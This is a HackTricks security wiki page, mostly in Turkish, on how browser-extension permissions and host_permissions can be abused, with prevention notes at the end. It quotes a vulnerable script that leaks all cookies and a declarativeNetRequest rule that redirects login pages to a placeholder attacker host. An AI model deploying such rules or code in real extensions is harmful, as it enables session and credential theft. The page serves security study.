BrowExt - permissions & host_permissions
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Temel Bilgiler
permissions
Uzantının manifest.json dosyasında permissions özelliği kullanılarak tanımlanırlar ve tarayıcının erişebildiği neredeyse her şeye (Cookies or Physical Storage) erişim sağlar:
The previous manifest declares that the extension requires the storage permission. This means that it can use the storage API to store its data persistently. Unlike cookies or localStorage APIs which give users some level of control, extension storage can normally only be cleared by uninstalling the extension.
Bir uzantı, manifest.json dosyasında belirtilen izinleri isteyecektir ve uzantı yüklendikten sonra, bu resimde gösterildiği gibi tarayıcınızda izinlerini her zaman kontrol edebilirsiniz:
.png)
Chromium Browser Extension’ın isteyebileceği izinlerin complete list of permissions a Chromium Browser Extension can request here listesini ve Firefox uzantıları için complete list for Firefox extensions here listesini bulabilirsiniz.
host_permissions
İsteğe bağlı ama güçlü host_permissions ayarı, uzantının cookies, webRequest ve tabs gibi apiler aracılığıyla hangi hostlarla etkileşim kurabileceğini belirtir.
Aşağıdaki host_permissions temelde tüm web sitelerine izin verir:
"host_permissions": [
"*://*/*"
]
// Or:
"host_permissions": [
"http://*/*",
"https://*/*"
]
// Or:
"host_permissions": [
"<all_urls>"
]
These are the hosts that the browser extension can access freely. This is because when a browser extension calls fetch("https://gmail.com/") it’s not restricted by CORS.
permissions ve host_permissions’in kötüye kullanımı
Cookies
The cookies permission allows the extension to access all the cookies of the browser. In this blog post bu izin, kötü amaçlı bir web sayfasını ziyaret eden mağdur kullanıcının tarayıcısındaki tüm cookies’leri saldırgana vermek için zafiyetli arka plan scripti aracılığıyla kötüye kullanılmıştır. Zafiyetli kod sadece tüm cookies’leri geri gönderiyordu:
chrome.runtime.onMessage.addListener(
function(request, sender, sendResponse) {
if (request.action == "getCookies") {
chrome.cookies.getAll({}, function(cookies) {
sendResponse({data: cookies});
});
}
return true;
}
);
Sekmeler
Ayrıca, host_permissions “gelişmiş” tabs API işlevselliğinin kilidini de açar. Bunlar, uzantının tabs.query() çağırmasına izin verir ve sadece bir kullanıcının tarayıcı sekmelerinin listesini geri getirmekle kalmaz, aynı zamanda hangi web sayfasının (yani adres ve başlık) yüklü olduğunu öğrenmesini sağlar.
Caution
Dahası, tabs.onUpdated gibi dinleyiciler çok daha kullanışlı hale gelir. Bir sekmeye yeni bir sayfa yüklendiğinde bunlara bildirim gönderilir.
Running content scripts
İçerik scriptleri mutlaka uzantı manifestine statik olarak yazılmış olmak zorunda değildir. Yeterli host_permissions verildiğinde, uzantılar bunları dinamik olarak tabs.executeScript() veya scripting.executeScript() çağırarak yükleyebilir.
Her iki API de yalnızca uzantı içindeki dosyaları içerik scripti olarak çalıştırmakla kalmaz, aynı zamanda arbitrary code da çalıştırabilir. İlki JavaScript kodunu bir string olarak kabul ederken, ikincisi JavaScript bir fonksiyon bekler; bu da injection vulnerabilities’a daha az eğilimlidir. Yine de her iki API yanlış kullanıldığında büyük zarar verebilir.
Caution
Yukarıdaki yeteneklere ek olarak, içerik scriptleri örneğin web sayfalarına girilirken kimlik bilgilerini ele geçirebilir. Onları kötüye kullanmanın bir diğer klasik yolu, her bir web sitesine reklam enjekte etmektir. Haber sitelerinin güvenilirliğini kötüye kullanmak için dolandırıcılık mesajları eklemek de mümkündür. Son olarak, para transferlerini yönlendirmek için bankacılık sitelerini manipüle edebilirler.
Implicit privileges
Bazı uzantı ayrıcalıklarının açıkça beyan edilmesi gerekmez. Bir örnek tabs API: temel işlevselliği hiçbir ayrıcalık gerektirmeden erişilebilir. Herhangi bir uzantı sekmeleri açıp kapattığınızda bildirim alabilir; sadece bu sekmelerin hangi web sitelerine karşılık geldiğini bilmez.
Çok zararsız mı geliyor? tabs.create() API biraz daha az öyle. Yeni bir sekme oluşturmak için kullanılabilir; aslında herhangi bir web sitesinin çağırabileceği window.open() ile esasen aynıdır. Ancak window.open() pop-up blocker’ın etkisine tabi iken, tabs.create() değildir.
Caution
Bir uzantı istediği zaman istediği sayıda sekme oluşturabilir.
Eğer tabs.create() parametrelerine göz atarsanız, yeteneklerinin window.open()’a izin verilenlerin çok ötesine geçtiğini fark edeceksiniz. Ve Firefox bu API ile data: URI’lerinin kullanılmasına izin vermezken, Chrome böyle bir korumaya sahip değildir. Böyle URI’lerin üst düzeyde kullanımı banned due to being abused for phishing.
tabs.update() tabs.create() ile çok benzer ancak var olan bir sekmeyi değiştirir. Bu nedenle kötü amaçlı bir uzantı örneğin sekmelerinizden birine keyfi olarak bir reklam sayfası yükleyebilir ve ilgili sekmeyi de etkinleştirebilir.
Webcam, geolocation and friends
Muhtemelen web sitelerinin özel izinler talep edebileceğini biliyorsunuz, örneğin web kamerasına erişmek için (video konferans araçları) veya coğrafi konumunuz için (haritalar). Bu, kötüye kullanım potansiyeli yüksek özelliklerdir; bu yüzden kullanıcıların her seferinde bunu isteyip istemediklerini onaylamaları gerekir.
Caution
Tarayıcı uzantıları için durum böyle değildir. If a browser extension wants access to your webcam or microphone, it only needs to ask for permission once
Genellikle uzantı bunu kurulduktan hemen sonra yapar. Bu istem kabul edildikten sonra webcam access is possible at any time, hatta kullanıcı o anda uzantıyla etkileşimde olmasa bile. Evet, bir kullanıcı genelde yalnızca uzantı gerçekten web kamerasına ihtiyaç duyuyorsa bu istemi kabul edecektir. Ama bunun sonrasında uzantının gizlice bir şey kaydetmemesine güvenmek zorundadırlar.
Tam konumunuza (your exact geographical location) veya panonuzun içeriğine (contents of your clipboard) erişim söz konusu olduğunda, açıkça izin vermeye gerek yoktur. Bir uzantı basitçe geolocation veya clipboard’ı manifestinin permissions entry bölümüne ekler. Bu erişim ayrıcalıkları, uzantı yüklendiğinde dolaylı olarak verilir. Bu yüzden bu ayrıcalıklara sahip kötü amaçlı veya ele geçirilmiş bir uzantı, sizin fark etmeden hareket profilinizi oluşturabilir veya panonuzu kopyalanmış parolalar için izleyebilir.
Manifestin permissions entry bölümüne history anahtar kelimesini eklemek, history API erişimi sağlar. Bu, kullanıcının tüm gezinme geçmişini bir kerede almayı mümkün kılar, kullanıcının bu web sitelerini tekrar ziyaret etmesini beklemeye gerek olmadan.
bookmarks izni benzer kötüye kullanım potansiyeline sahiptir; bu izin bookmarks API aracılığıyla tüm yer imlerini okuma olanağı verir.
Storage permission
Uzantı depolaması yalnızca bir anahtar-değer koleksiyonudur, localStorage ile çok benzerdir. Bu yüzden burada hiçbir hassas bilgi depolanmamalıdır.
Ancak reklam şirketleri bu depolamayı kötüye kullanabilir.
More permissions
Manifest V3, sayfa erişimini API izinlerinden ayırdı: permissions hâlâ ayrıcalıklı API’leri (cookies, tabs, history, scripting, vb.) yönetirken host_permissions bu API’lerin hangi origin’leri etkileyebileceğini kontrol eder. MV3 ayrıca host izinlerini çalışma zamanında verilebilir hale getirdi, böylece uzantılar hiçbir izinle gelmeyip daha sonra chrome.permissions.request() ile bir onay istemi açabilir — meşru en az ayrıcalık akışları için kullanışlıdır, ancak kötü amaçlı yazılımlar tarafından ünleri oturduktan sonra ayrıcalık yükseltmek için de kötüye kullanılabilir.
A stealthy variant is declarativeNetRequestWithHostAccess (Chrome ≥96). It provides the same request‑blocking/redirect power as declarativeNetRequest but shows a weaker install prompt than <all_urls> host permissions. Malicious extensions use it to silently get “block/redirect on any site” capability; test prompts with chrome://extensions/?errors and chrome://extensions/?id=<id>.
declarativeNetRequest dynamic rules let an extension reprogram network policy at runtime. With <all_urls> host access an attacker can weaponise it to hijack traffic or data exfil. Example:
chrome.declarativeNetRequest.updateDynamicRules({
addRules: [{
id: 9001,
priority: 1,
action: {
type: "redirect",
redirect: { url: "https://attacker.tld/collect" }
},
condition: { urlFilter: "|http*://*/login", resourceTypes: ["main_frame"] }
}]
});
Chrome raised MV3 rule limits (≈330k static / 30k dynamic), so large coverage sets are feasible for interception/ads injection.
Son kötüye kullanım örüntüleri
- Supply-chain trojanized updates: Çalınmış geliştirici hesapları, uzak JS enjekte etmek ve başlık/DOM içeriğini sızdırmak için
<all_urls>iledeclarativeNetRequest/scripting/webRequestekleyen MV3 güncellemeleri yayınlar. - Wallet drains: Host erişimi ile
storagevetabskombinasyonu, arka kapılı wallet uzantılarının seed’leri dışarı aktarmasına izin verir; çalınmış Web Store API anahtarları kötü amaçlı build’lerin dağıtımı için kullanıldı. - Cookie theft:
cookiesile geniş host erişimi olan herhangi bir uzantı,HttpOnlyolsa bile kimlik doğrulama çerezlerini okuyabilir—bu kombinasyonu kimlik bilgisi hırsızlığı yapabilecek olarak değerlendirin.
Önleme
Google’ın developer politikası, uzantıların işlevleri için gerekli olandan fazla ayrıcalık talep etmesini açıkça yasaklar; bu da aşırı izin taleplerini etkin şekilde hafifletir. Bu sınırın aşıldığı bir örnek, bir tarayıcı uzantısının add-on store yerine tarayıcıyla birlikte dağıtılmasıydı.
Tarayıcılar, uzantı ayrıcalıklarının kötüye kullanımını daha da kısıtlayabilir. Örneğin, Chrome’un tabCapture ve desktopCapture API’leri, ekran kaydı için kullanılır ve kötüye kullanımı en aza indirmek üzere tasarlanmıştır. tabCapture API yalnızca uzantı simgesine tıklama gibi doğrudan kullanıcı etkileşimiyle etkinleştirilebilirken, desktopCapture kaydedilecek pencere için kullanıcı onayı gerektirir; bu da gizli kayıt faaliyetlerini önler.
Bununla birlikte, güvenlik önlemlerini sıkılaştırmak genellikle uzantıların esnekliğini ve kullanıcı dostarlığını azaltır. activeTab permission bu takası gösterir. Bu izin, uzantıların tüm internet üzerinde host ayrıcalıkları talep etme ihtiyacını ortadan kaldırmak, kullanıcının açık etkinleştirmesiyle yalnızca mevcut sekmeye erişim sağlamak üzere getirildi. Bu model, kullanıcı tarafından başlatılan eylemler gerektiren uzantılar için etkilidir; ancak otomatik veya önleyici eylemler gerektiren uzantılar için yetersiz kalarak kullanım kolaylığı ve anlık tepki verebilirlikten ödün verir.
Referanslar
- https://palant.info/2022/08/17/impact-of-extension-privileges/
- https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing
- https://gitlab-com.gitlab.io/gl-security/security-tech-notes/threat-intelligence-tech-notes/malicious-browser-extensions-feb-2025/
- https://developer.chrome.com/blog/resuming-the-transition-to-mv3/
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.


